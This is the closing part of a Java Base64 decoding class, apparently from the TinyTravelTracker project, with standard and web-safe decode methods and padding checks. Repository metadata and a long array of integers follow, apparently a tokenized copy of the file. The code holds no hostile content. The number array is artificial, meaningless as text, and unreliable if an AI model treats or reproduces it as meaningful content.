* @return the decoded data
* @since 1.4
*/
public static byte[] decode(String s) throws Base64DecoderException {
byte[] bytes = s.getBytes();
return decode(bytes, 0, bytes.length);
}
/**
* Decodes data from web safe Base64 notation.
* Web safe encoding uses '-' instead of '+', '_' instead of '/'
*
* @param s the string to decode (decoded in default encoding)
* @return the decoded data
*/
public static byte[] decodeWebSafe(String s) throws Base64DecoderException {
byte[] bytes = s.getBytes();
return decodeWebSafe(bytes, 0, bytes.length);
}
/**
* Decodes Base64 content in byte array format and returns
* the decoded byte array.
*
* @param source The Base64 encoded data
* @return decoded data
* @since 1.3
* @throws Base64DecoderException
*/
public static byte[] decode(byte[] source) throws Base64DecoderException {
return decode(source, 0, source.length);
}
/**
* Decodes web safe Base64 content in byte array format and returns
* the decoded data.
* Web safe encoding uses '-' instead of '+', '_' instead of '/'
*
* @param source the string to decode (decoded in default encoding)
* @return the decoded data
*/
public static byte[] decodeWebSafe(byte[] source)
throws Base64DecoderException {
return decodeWebSafe(source, 0, source.length);
}
/**
* Decodes Base64 content in byte array format and returns
* the decoded byte array.
*
* @param source the Base64 encoded data
* @param off the offset of where to begin decoding
* @param len the length of characters to decode
* @return decoded data
* @since 1.3
* @throws Base64DecoderException
*/
public static byte[] decode(byte[] source, int off, int len)
throws Base64DecoderException {
return decode(source, off, len, DECODABET);
}
/**
* Decodes web safe Base64 content in byte array format and returns
* the decoded byte array.
* Web safe encoding uses '-' instead of '+', '_' instead of '/'
*
* @param source the Base64 encoded data
* @param off the offset of where to begin decoding
* @param len the length of characters to decode
* @return decoded data
*/
public static byte[] decodeWebSafe(byte[] source, int off, int len)
throws Base64DecoderException {
return decode(source, off, len, WEBSAFE_DECODABET);
}
/**
* Decodes Base64 content using the supplied decodabet and returns
* the decoded byte array.
*
* @param source the Base64 encoded data
* @param off the offset of where to begin decoding
* @param len the length of characters to decode
* @param decodabet the decodabet for decoding Base64 content
* @return decoded data
*/
public static byte[] decode(byte[] source, int off, int len, byte[] decodabet)
throws Base64DecoderException {
int len34 = len * 3 / 4;
byte[] outBuff = new byte[2 + len34]; // Upper limit on size of output
int outBuffPosn = 0;
byte[] b4 = new byte[4];
int b4Posn = 0;
int i = 0;
byte sbiCrop = 0;
byte sbiDecode = 0;
for (i = 0; i < len; i++) {
sbiCrop = (byte) (source[i + off] & 0x7f); // Only the low seven bits
sbiDecode = decodabet[sbiCrop];
if (sbiDecode >= WHITE_SPACE_ENC) { // White space Equals sign or better
if (sbiDecode >= EQUALS_SIGN_ENC) {
// An equals sign (for padding) must not occur at position 0 or 1
// and must be the last byte[s] in the encoded value
if (sbiCrop == EQUALS_SIGN) {
int bytesLeft = len - i;
byte lastByte = (byte) (source[len - 1 + off] & 0x7f);
if (b4Posn == 0 || b4Posn == 1) {
throw new Base64DecoderException(
"invalid padding byte '=' at byte offset " + i);
} else if ((b4Posn == 3 && bytesLeft > 2)
|| (b4Posn == 4 && bytesLeft > 1)) {
throw new Base64DecoderException(
"padding byte '=' falsely signals end of encoded value "
+ "at offset " + i);
} else if (lastByte != EQUALS_SIGN && lastByte != NEW_LINE) {
throw new Base64DecoderException(
"encoded value has invalid trailing byte");
}
break;
}
b4[b4Posn++] = sbiCrop;
if (b4Posn == 4) {
outBuffPosn += decode4to3(b4, 0, outBuff, outBuffPosn, decodabet);
b4Posn = 0;
}
}
} else {
throw new Base64DecoderException("Bad Base64 input character at " + i
+ ": " + source[i + off] + "(decimal)");
}
}
// Because web safe encoding allows non padding base64 encodes, we
// need to pad the rest of the b4 buffer with equal signs when
// b4Posn != 0. There can be at most 2 equal signs at the end of
// four characters, so the b4 buffer must have two or three
// characters. This also catches the case where the input is
// padded with EQUALS_SIGN
if (b4Posn != 0) {
if (b4Posn == 1) {
throw new Base64DecoderException("single trailing character at offset "
+ (len - 1));
}
b4[b4Posn++] = EQUALS_SIGN;
outBuffPosn += decode4to3(b4, 0, outBuff, outBuffPosn, decodabet);
}
byte[] out = new byte[outBuffPosn];
System.arraycopy(outBuff, 0, out, 0, outBuffPosn);
return out;
}
}
| 23,394
|
Java
|
.java
|
redfish64/TinyTravelTracker
| 135
| 31
| 69
|
2015-09-01T08:41:20Z
|
2022-05-01T19:51:42Z
|
a4842d0ef128eeb98e70f1be2324e1a49b94d795c451684da67489d4f9269c4d
|
[
1350,
3751,
2657,
244,
55,
53,
54,
58,
23089,
7379,
1202,
49,
578,
605,
20369,
21000,
465,
1369,
822,
458,
1760,
451,
38860,
1588,
6092,
34012,
51,
465,
38860,
1588,
6092,
34012,
458,
3760,
2951,
63,
863,
902,
14081,
580,
480,
52,
290,
5370,
303,
580,
1549,
341,
5974,
451,
341,
6994,
6153,
5062,
1196,
641,
9582,
829,
303,
341,
7834,
3870,
7120,
49,
3173,
1522,
244,
56,
451,
341,
1196,
49,
575,
303,
327,
288,
1390,
2489,
46,
1364,
6146,
1522,
51,
465,
38860,
1588,
6092,
34012,
458,
2744,
347,
341,
9850,
708,
580,
1118,
545,
6386,
49,
303,
1294,
4213,
2979,
9345,
64,
2895,
4462,
341,
4506,
14319,
451,
303,
7934,
575,
8114,
4800,
418,
7848,
7763,
51,
244,
2819,
341,
303,
6994,
6153,
5062,
1196,
456,
1851,
4261,
51,
465,
2469,
1414,
1178,
6589,
331,
1948,
451,
341,
6994,
6153,
5062,
1196,
303,
7979,
642,
38860,
1588,
6092,
34012,
51,
244,
1691,
666,
49,
2337,
350,
544,
574,
1516,
51,
10627,
51,
1107,
52,
4205,
28699,
222,
222,
1975,
222,
325,
8449,
1804,
5550,
244,
55,
53,
53,
55,
49,
6608,
49,
6367,
51,
222,
325,
222,
325,
4773,
1549,
341,
3954,
1196,
49,
3050,
244,
55,
51,
53,
327,
1402,
332,
3801,
742,
222,
325,
863,
1648,
666,
813,
477,
822,
2959,
347,
4960,
642,
341,
1196,
51,
222,
325,
2469,
1648,
4245,
331,
1948,
451,
341,
1196,
840,
222,
325,
222,
325,
281,
1930,
574,
1516,
51,
2121,
51,
1107,
52,
4205,
52,
4106,
50,
55,
51,
53,
222,
325,
222,
325,
5416,
2147,
829,
4568,
4940,
575,
5129,
391,
347,
4144,
49,
2951,
222,
325,
2744,
1549,
341,
1196,
458,
2744,
563,
619,
332,
1117,
2771,
39,
5128,
49,
222,
325,
4213,
3912,
1895,
5186,
2258,
2979,
4489,
49,
3173,
3927,
575,
4506,
51,
222,
325,
2819,
341,
1196,
456,
341,
2835,
2940,
5139,
4243,
480,
222,
325,
5191,
1549,
341,
1196,
51,
222,
222,
1337,
785,
51,
119,
605,
20369,
51,
1058,
64,
222,
222,
325,
1369,
1361,
1616,
12829,
664,
1361,
840,
1930,
574,
10019,
301,
512,
51,
21426,
51,
1317,
52,
1460,
59,
57,
52,
222,
325,
517,
13899,
451,
29977,
16739,
5423,
4547,
6563,
51,
222,
1127,
906,
4732,
1361,
9891,
63,
222,
338,
350,
117,
67,
222,
338,
457,
3874,
1302,
4275,
477,
1361,
347,
341,
5062,
14064,
51,
3291,
642,
580,
641,
863,
1118,
51,
222,
338,
1369,
2951,
12802,
642,
1307,
45767,
575,
13085,
710,
753,
1294,
642,
222,
338,
1302,
25578,
451,
4509,
50,
30094,
318,
4203,
38,
222,
338,
5304,
7739,
222,
338,
350,
102,
995,
366,
544,
574,
10019,
301,
512,
51,
1317,
52,
18981,
29782,
463,
432,
544,
574,
10019,
301,
512,
51,
1317,
52,
18981,
29782,
463,
396,
102,
67,
222,
338,
46321,
391,
1524,
456,
7786,
575,
391,
21140,
23539,
51,
222,
338,
594,
117,
67,
222,
338,
222,
338,
496,
2133,
39177,
25083,
512,
222,
338,
496,
2133,
559,
11779,
512,
69,
24932,
51,
1317,
222,
338,
496,
1687,
244,
54,
51,
56,
222,
588,
222,
222,
1350,
222,
338,
3787,
59,
57,
17682,
462,
51,
1369,
1361,
458,
666,
331,
6179,
28094,
15633,
64,
222,
338,
580,
9677,
22986,
5314,
727,
391,
1712,
59,
57,
727,
480,
1769,
51,
222,
338,
222,
338,
350,
117,
67,
5232,
3105,
1222,
7698,
1778,
59,
57,
130,
458,
331,
590,
8919,
50,
14600,
4753,
451,
477,
222,
338,
462,
51,
222,
588,
222,
942,
462,
3787,
59,
57,
320,
353,
1041,
23765,
7348,
327,
872,
458,
3105,
707,
878,
12675,
588,
353,
581,
1175,
924,
1922,
3650,
3535,
299,
878,
64,
736,
1041,
23765,
28152,
327,
872,
458,
3105,
707,
920,
12675,
588,
353,
581,
1175,
924,
1922,
2295,
3535,
299,
920,
64,
736,
1041,
906,
12432,
2613,
20533,
46,
641,
331,
3447,
51,
588,
353,
964,
1175,
924,
3447,
48844,
88,
100,
9876,
299,
327,
2278,
46,
36469,
938,
736,
1041,
906,
556,
1646,
5373,
10454,
115,
46,
641,
331,
3447,
51,
588,
353,
964,
1175,
924,
3447,
20809,
100,
4794,
299,
327,
2278,
46,
3243,
115,
938,
736,
1041,
682,
338,
906,
244,
59,
57,
2101,
3787,
59,
57,
2102,
51,
682,
588,
353,
964,
1175,
924,
3447,
1197,
6066,
4976,
1336,
1235,
299,
416,
28680,
2278,
46,
349,
70,
389,
327,
2278,
46,
349,
71,
389,
327,
2278,
46,
349,
72,
389,
327,
2278,
46,
349,
73,
389,
327,
2278,
46,
349,
74,
389,
327,
2278,
46,
349,
75,
389,
633,
327,
2278,
46,
349,
76,
389,
327,
2278,
46,
349,
77,
389,
327,
2278,
46,
349,
78,
389,
327,
2278,
46,
349,
79,
389,
327,
2278,
46,
349,
80,
389,
633,
327,
2278,
46,
349,
81,
389,
327,
2278,
46,
349,
82,
389,
327,
2278,
46,
349,
83,
389,
327,
2278,
46,
349,
84,
389,
327,
2278,
46,
349,
85,
389,
633,
327,
2278,
46,
349,
86,
389,
327,
2278,
46,
349,
87,
389,
327,
2278,
46,
349,
88,
389,
327,
2278,
46,
349,
89,
389,
327,
2278,
46,
349,
90,
389,
633,
327,
2278,
46,
349,
91,
389,
327,
2278,
46,
349,
92,
389,
327,
2278,
46,
349,
93,
389,
327,
2278,
46,
349,
94,
389,
327,
2278,
46,
349,
95,
389,
633,
327,
2278,
46,
349,
102,
389,
327,
2278,
46,
349,
103,
389,
327,
2278,
46,
349,
104,
389,
327,
2278,
46,
349,
105,
389,
327,
2278,
46,
349,
106,
389,
633,
327,
2278,
46,
349,
107,
389,
327,
2278,
46,
349,
108,
389,
327,
2278,
46,
349,
109,
389,
327,
2278,
46,
349,
110,
389,
327,
2278,
46,
349,
111,
389,
633,
327,
2278,
46,
349,
112,
389,
327,
2278,
46,
349,
113,
389,
327,
2278,
46,
349,
114,
389,
327,
2278,
46,
349,
115,
389,
327,
2278,
46,
349,
116,
389,
633,
327,
2278,
46,
349,
117,
389,
327,
2278,
46,
349,
118,
389,
327,
2278,
46,
349,
119,
389,
327,
2278,
46,
349,
120,
389,
327,
2278,
46,
349,
121,
389,
633,
327,
2278,
46,
349,
122,
389,
327,
2278,
46,
349,
123,
389,
327,
2278,
46,
349,
124,
389,
327,
2278,
46,
349,
125,
389,
327,
2278,
46,
349,
126,
389,
633,
327,
2278,
46,
349,
127,
389,
327,
2278,
46,
349,
53,
389,
327,
2278,
46,
349,
54,
389,
327,
2278,
46,
349,
55,
389,
327,
2278,
46,
349,
56,
389,
633,
327,
2278,
46,
349,
57,
389,
327,
2278,
46,
349,
58,
389,
327,
2278,
46,
349,
59,
389,
327,
2278,
46,
349,
60,
389,
327,
2278,
46,
349,
61,
389,
633,
327,
2278,
46,
349,
62,
389,
327,
2278,
46,
21633,
327,
2278,
46,
13642,
1274,
736,
1041,
682,
338,
906,
244,
59,
57,
2101,
2692,
10065,
3787,
59,
57,
2102,
51,
682,
588,
353,
964,
1175,
924,
3447,
1197,
26967,
24187,
100,
18174,
1336,
1235,
299,
416,
28680,
2278,
46,
349,
70,
389,
327,
2278,
46,
349,
71,
389,
327,
2278,
46,
349,
72,
389,
327,
2278,
46,
349,
73,
389,
327,
2278,
46,
349,
74,
389,
327,
2278,
46,
349,
75,
389,
633,
327,
2278,
46,
349,
76,
389,
327,
2278,
46,
349,
77,
389,
327,
2278,
46,
349,
78,
389,
327,
2278,
46,
349,
79,
389,
327,
2278,
46,
349,
80,
389,
633,
327,
2278,
46,
349,
81,
389,
327,
2278,
46,
349,
82,
389,
327,
2278,
46,
349,
83,
389,
327,
2278,
46,
349,
84,
389,
327,
2278,
46,
349,
85,
389,
633,
327,
2278,
46,
349,
86,
389,
327,
2278,
46,
349,
87,
389,
327,
2278,
46,
349,
88,
389,
327,
2278,
46,
349,
89,
389,
327,
2278,
46,
349,
90,
389,
633,
327,
2278,
46,
349,
91,
389,
327,
2278,
46,
349,
92,
389,
327,
2278,
46,
349,
93,
389,
327,
2278,
46,
349,
94,
389,
327,
2278,
46,
349,
95,
389,
633,
327,
2278,
46,
349,
102,
389,
327,
2278,
46,
349,
103,
389,
327,
2278,
46,
349,
104,
389,
327,
2278,
46,
349,
105,
389,
327,
2278,
46,
349,
106,
389,
633,
327,
2278,
46,
349,
107,
389,
327,
2278,
46,
349,
108,
389,
327,
2278,
46,
349,
109,
389,
327,
2278,
46,
349,
110,
389,
327,
2278,
46,
349,
111,
389,
633,
327,
2278,
46,
349,
112,
389,
327,
2278,
46,
349,
113,
389,
327,
2278,
46,
349,
114,
389,
327,
2278,
46,
349,
115,
389,
327,
2278,
46,
349,
116,
389,
633,
327,
2278,
46,
349,
117,
389,
327,
2278,
46,
349,
118,
389,
327,
2278,
46,
349,
119,
389,
327,
2278,
46,
349,
120,
389,
327,
2278,
46,
349,
121,
389,
633,
327,
2278,
46,
349,
122,
389,
327,
2278,
46,
349,
123,
389,
327,
2278,
46,
349,
124,
389,
327,
2278,
46,
349,
125,
389,
327,
2278,
46,
349,
126,
389,
633,
327,
2278,
46,
349,
127,
389,
327,
2278,
46,
349,
53,
389,
327,
2278,
46,
349,
54,
389,
327,
2278,
46,
349,
55,
389,
327,
2278,
46,
349,
56,
389,
633,
327,
2278,
46,
349,
57,
389,
327,
2278,
46,
349,
58,
389,
327,
2278,
46,
349,
59,
389,
327,
2278,
46,
349,
60,
389,
327,
2278,
46,
349,
61,
389,
633,
327,
2278,
46,
349,
62,
389,
327,
2278,
46,
34921,
327,
2278,
46,
27773,
1274,
736,
1041,
682,
338,
3574,
5081,
331,
3787,
59,
57,
804,
391,
3173,
2840,
244,
59,
50,
2417,
334,
23449,
804,
682,
338,
575,
331,
11058,
1470,
15285,
1649,
1623,
14290,
51,
682,
12570,
353,
964,
1175,
924,
3447,
1197,
2295,
23048,
1336,
1235,
299,
15635,
62,
49,
449,
62,
49,
449,
62,
49,
449,
62,
49,
449,
62,
49,
449,
62,
49,
449,
62,
49,
449,
62,
49,
449,
62,
49,
453,
23501,
280,
53,
449,
280,
61,
416,
449,
58,
49,
449,
58,
49,
453,
2639,
12665,
63,
12519,
480,
7118,
6543,
416,
449,
62,
49,
449,
62,
49,
453,
23501,
244,
54,
54,
449,
244,
54,
55,
416,
449,
58,
49,
453,
2639,
12665,
63,
7102,
39113,
2762,
416,
449,
62,
49,
449,
62,
49,
449,
62,
49,
449,
62,
49,
449,
62,
49,
449,
62,
49,
449,
62,
49,
449,
62,
49,
449,
62,
49,
449,
62,
49,
449,
62,
49,
449,
62,
49,
449,
62,
49,
453,
23501,
244,
54,
57,
449,
244,
55,
59,
416,
449,
62,
49,
449,
62,
49,
449,
62,
49,
449,
62,
49,
449,
62,
49,
453,
23501,
244,
55,
60,
449,
244,
56,
54,
416,
449,
58,
49,
453,
2639,
12665,
63,
19074,
416,
449,
62,
49,
449,
62,
49,
449,
62,
49,
449,
62,
49,
449,
62,
49,
449,
62,
49,
449,
62,
49,
449,
62,
49,
449,
62,
49,
449,
62,
49,
453,
23501,
244,
56,
56,
449,
244,
57,
55,
1586,
59,
55,
49,
453,
32874,
2613,
840,
10262,
244,
57,
56,
416,
449,
62,
49,
449,
62,
49,
449,
62,
49,
453,
23501,
244,
57,
57,
449,
244,
57,
59,
1586,
59,
56,
49,
453,
12447,
936,
840,
10262,
244,
57,
60,
1586,
58,
55,
49,
244,
58,
56,
49,
244,
58,
57,
49,
244,
58,
58,
49,
244,
58,
59,
49,
244,
58,
60,
49,
244,
58,
61,
49,
244,
58,
62,
49,
244,
59,
53,
49,
244,
59,
54,
49,
453,
40885,
5953,
3939,
329,
501,
416,
449,
62,
49,
449,
62,
49,
449,
62,
49,
453,
23501,
244,
58,
61,
449,
244,
59,
53,
416,
449,
54,
49,
453,
21680,
2613,
840,
10262,
244,
59,
54,
416,
449,
62,
49,
449,
62,
49,
449,
62,
49,
453,
23501,
244,
59,
55,
449,
244,
59,
57,
1586,
53,
49,
244,
54,
49,
244,
55,
49,
244,
56,
49,
244,
57,
49,
244,
58,
49,
244,
59,
49,
244,
60,
49,
244,
61,
49,
244,
62,
49,
244,
54,
53,
49,
244,
54,
54,
49,
244,
54,
55,
49,
244,
54,
56,
49,
453,
10412,
5749,
349,
70,
44,
3939,
349,
83,
44,
1586,
54,
57,
49,
244,
54,
58,
49,
244,
54,
59,
49,
244,
54,
60,
49,
244,
54,
61,
49,
244,
54,
62,
49,
244,
55,
53,
49,
244,
55,
54,
49,
244,
55,
55,
49,
244,
55,
56,
49,
244,
55,
57,
49,
244,
55,
58,
49,
453,
10412,
5749,
349,
84,
44,
3939,
349,
95,
44,
416,
449,
62,
49,
449,
62,
49,
449,
62,
49,
449,
62,
49,
449,
62,
49,
449,
62,
49,
453,
23501,
244,
62,
54,
449,
244,
62,
59,
1586,
55,
59,
49,
244,
55,
60,
49,
244,
55,
61,
49,
244,
55,
62,
49,
244,
56,
53,
49,
244,
56,
54,
49,
244,
56,
55,
49,
244,
56,
56,
49,
244,
56,
57,
49,
244,
56,
58,
49,
244,
56,
59,
49,
244,
56,
60,
49,
244,
56,
61,
49,
453,
10412,
5749,
349,
102,
44,
3939,
349,
114,
44,
1586,
56,
62,
49,
244,
57,
53,
49,
244,
57,
54,
49,
244,
57,
55,
49,
244,
57,
56,
49,
244,
57,
57,
49,
244,
57,
58,
49,
244,
57,
59,
49,
244,
57,
60,
49,
244,
57,
61,
49,
244,
57,
62,
49,
244,
58,
53,
49,
244,
58,
54,
49,
453,
10412,
5749,
349,
115,
44,
3939,
349,
127,
44,
416,
449,
62,
49,
449,
62,
49,
449,
62,
49,
449,
62,
49,
449,
62,
453,
23501,
244,
54,
55,
56,
449,
244,
54,
55,
60,
416,
1276,
244,
1737,
50,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
49,
281,
453,
23501,
244,
54,
55,
61,
449,
244,
54,
56,
62,
310,
449,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
49,
281,
453,
23501,
244,
54,
57,
53,
449,
244,
54,
58,
55,
310,
449,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
49,
281,
453,
23501,
244,
54,
58,
56,
449,
244,
54,
59,
58,
310,
449,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
49,
281,
453,
23501,
244,
54,
59,
59,
449,
244,
54,
60,
61,
310,
449,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
49,
281,
453,
23501,
244,
54,
60,
62,
449,
244,
54,
62,
54,
310,
449,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
49,
281,
453,
23501,
244,
54,
62,
55,
449,
244,
55,
53,
57,
310,
449,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
49,
281,
453,
23501,
244,
55,
53,
58,
449,
244,
55,
54,
60,
310,
449,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
49,
281,
453,
23501,
244,
55,
54,
61,
449,
244,
55,
56,
53,
310,
449,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
49,
281,
453,
23501,
244,
55,
56,
54,
449,
244,
55,
57,
56,
310,
449,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
282,
453,
23501,
244,
55,
57,
57,
449,
244,
55,
58,
58,
588,
416,
1487,
736,
1041,
906,
2692,
10065,
428,
10777,
13846,
588,
353,
964,
1175,
924,
3447,
1197,
26967,
24187,
100,
869,
23048,
1336,
1235,
299,
416,
15635,
62,
49,
449,
62,
49,
449,
62,
49,
449,
62,
49,
449,
62,
49,
449,
62,
49,
449,
62,
49,
449,
62,
49,
449,
62,
49,
453,
23501,
280,
53,
449,
280,
61,
633,
449,
58,
49,
449,
58,
49,
453,
2639,
12665,
63,
12519,
480,
7118,
6543,
633,
449,
62,
49,
449,
62,
49,
453,
23501,
244,
54,
54,
449,
244,
54,
55,
633,
449,
58,
49,
453,
2639,
12665,
63,
7102,
39113,
2762,
633,
449,
62,
49,
449,
62,
49,
449,
62,
49,
449,
62,
49,
449,
62,
49,
449,
62,
49,
449,
62,
49,
449,
62,
49,
449,
62,
49,
449,
62,
49,
449,
62,
49,
449,
62,
49,
449,
62,
49,
453,
23501,
244,
54,
57,
449,
244,
55,
59,
633,
449,
62,
49,
449,
62,
49,
449,
62,
49,
449,
62,
49,
449,
62,
49,
453,
23501,
244,
55,
60,
449,
244,
56,
54,
633,
449,
58,
49,
453,
2639,
12665,
63,
19074,
633,
449,
62,
49,
449,
62,
49,
449,
62,
49,
449,
62,
49,
449,
62,
49,
449,
62,
49,
449,
62,
49,
449,
62,
49,
449,
62,
49,
449,
62,
49,
449,
62,
49,
449,
62,
49,
453,
23501,
244,
56,
56,
449,
244,
57,
57,
2624,
59,
55,
49,
453,
48761,
20524,
2613,
840,
10262,
244,
57,
58,
633,
449,
62,
49,
449,
62,
49,
453,
23501,
244,
57,
59,
50,
57,
60,
2624,
58,
55,
49,
244,
58,
56,
49,
244,
58,
57,
49,
244,
58,
58,
49,
244,
58,
59,
49,
244,
58,
60,
49,
244,
58,
61,
49,
244,
58,
62,
49,
244,
59,
53,
49,
244,
59,
54,
49,
453,
40885,
5953,
3939,
329,
501,
633,
449,
62,
49,
449,
62,
49,
449,
62,
49,
453,
23501,
244,
58,
61,
449,
244,
59,
53,
633,
449,
54,
49,
453,
21680,
2613,
840,
10262,
244,
59,
54,
633,
449,
62,
49,
449,
62,
49,
449,
62,
49,
453,
23501,
244,
59,
55,
449,
244,
59,
57,
2624,
53,
49,
244,
54,
49,
244,
55,
49,
244,
56,
49,
244,
57,
49,
244,
58,
49,
244,
59,
49,
244,
60,
49,
244,
61,
49,
244,
62,
49,
244,
54,
53,
49,
244,
54,
54,
49,
244,
54,
55,
49,
244,
54,
56,
49,
453,
10412,
5749,
349,
70,
44,
3939,
349,
83,
44,
2624,
54,
57,
49,
244,
54,
58,
49,
244,
54,
59,
49,
244,
54,
60,
49,
244,
54,
61,
49,
244,
54,
62,
49,
244,
55,
53,
49,
244,
55,
54,
49,
244,
55,
55,
49,
244,
55,
56,
49,
244,
55,
57,
49,
244,
55,
58,
49,
453,
10412,
5749,
349,
84,
44,
3939,
349,
95,
44,
633,
449,
62,
49,
449,
62,
49,
449,
62,
49,
449,
62,
49,
453,
23501,
244,
62,
54,
50,
62,
57,
2624,
59,
56,
49,
453,
47577,
22283,
27773,
840,
10262,
244,
62,
58,
633,
449,
62,
49,
453,
23501,
244,
62,
59,
2624,
55,
59,
49,
244,
55,
60,
49,
244,
55,
61,
49,
244,
55,
62,
49,
244,
56,
53,
49,
244,
56,
54,
49,
244,
56,
55,
49,
244,
56,
56,
49,
244,
56,
57,
49,
244,
56,
58,
49,
244,
56,
59,
49,
244,
56,
60,
49,
244,
56,
61,
49,
453,
10412,
5749,
349,
102,
44,
3939,
349,
114,
44,
2624,
56,
62,
49,
244,
57,
53,
49,
244,
57,
54,
49,
244,
57,
55,
49,
244,
57,
56,
49,
244,
57,
57,
49,
244,
57,
58,
49,
244,
57,
59,
49,
244,
57,
60,
49,
244,
57,
61,
49,
244,
57,
62,
49,
244,
58,
53,
49,
244,
58,
54,
49,
453,
10412,
5749,
349,
115,
44,
3939,
349,
127,
44,
633,
449,
62,
49,
449,
62,
49,
449,
62,
49,
449,
62,
49,
449,
62,
453,
23501,
244,
54,
55,
56,
449,
244,
54,
55,
60,
416,
1276,
244,
1737,
50,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
49,
281,
453,
23501,
244,
54,
55,
61,
449,
244,
54,
56,
62,
310,
449,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
49,
281,
453,
23501,
244,
54,
57,
53,
449,
244,
54,
58,
55,
310,
449,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
49,
281,
453,
23501,
244,
54,
58,
56,
449,
244,
54,
59,
58,
310,
449,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
49,
281,
453,
23501,
244,
54,
59,
59,
449,
244,
54,
60,
61,
310,
449,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
49,
281,
453,
23501,
244,
54,
60,
62,
449,
244,
54,
62,
54,
310,
449,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
49,
281,
453,
23501,
244,
54,
62,
55,
449,
244,
55,
53,
57,
310,
449,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
49,
281,
453,
23501,
244,
55,
53,
58,
449,
244,
55,
54,
60,
310,
449,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
49,
281,
453,
23501,
244,
55,
54,
61,
449,
244,
55,
56,
53,
310,
449,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
49,
281,
453,
23501,
244,
55,
56,
54,
449,
244,
55,
57,
56,
310,
449,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
5465,
62,
282,
453,
23501,
244,
55,
57,
57,
449,
244,
55,
58,
58,
588,
416,
1487,
736,
453,
25403,
8408,
5153,
347,
7348,
353,
964,
1175,
924,
3447,
8746,
2363,
100,
13174,
100,
8771,
299,
449,
58,
64,
353,
453,
25403,
12432,
2613,
347,
7348,
353,
964,
1175,
924,
3447,
48844,
88,
100,
9876,
100,
8771,
299,
449,
54,
64,
736,
1041,
1531,
32541,
40677,
51,
588,
353,
964,
3787,
59,
57,
365,
320,
353,
339,
736,
1276,
338,
14525,
244,
535,
508,
409,
565,
493,
457,
508,
590,
280,
507,
535,
413,
696,
565,
493,
377,
244,
338,
14525,
588,
736,
1041,
682,
338,
2445,
7800,
992,
391,
8058,
3534,
451,
341,
1437,
350,
887,
67,
1876,
396,
887,
67,
682,
338,
480,
19411,
341,
14341,
12109,
3787,
59,
57,
3534,
391,
350,
887,
67,
9750,
396,
887,
4513,
682,
338,
906,
1932,
480,
8061,
12146,
902,
545,
17385,
10781,
682,
338,
24323,
7979,
3641,
3124,
829,
17255,
682,
338,
350,
887,
67,
1634,
3468,
396,
887,
67,
480,
350,
887,
67,
3332,
3468,
396,
887,
4513,
682,
338,
1369,
1431,
1976,
666,
1524,
391,
1949,
3673,
1390,
12146,
682,
338,
904,
7650,
8473,
391,
1449,
29986,
351,
350,
887,
67,
1634,
3468,
396,
887,
67,
494,
244,
56,
456,
682,
338,
341,
350,
887,
67,
1876,
396,
887,
67,
1437,
575,
350,
887,
67,
3332,
3468,
396,
887,
67,
494,
244,
57,
456,
682,
338,
341,
350,
887,
67,
9750,
396,
887,
67,
1437,
51,
682,
338,
906,
4668,
1470,
451,
14762,
3534,
347,
1390,
1437,
458,
682,
338,
2716,
829,
350,
887,
67,
1538,
11997,
3656,
396,
887,
4513,
682,
338,
682,
338,
496,
772,
1932,
341,
1437,
391,
4511,
682,
338,
496,
772,
1581,
3468,
341,
1671,
2174,
11781,
30695,
682,
338,
496,
772,
1952,
11997,
3656,
341,
1470,
451,
14762,
3534,
347,
1390,
1437,
682,
338,
496,
772,
8061,
341,
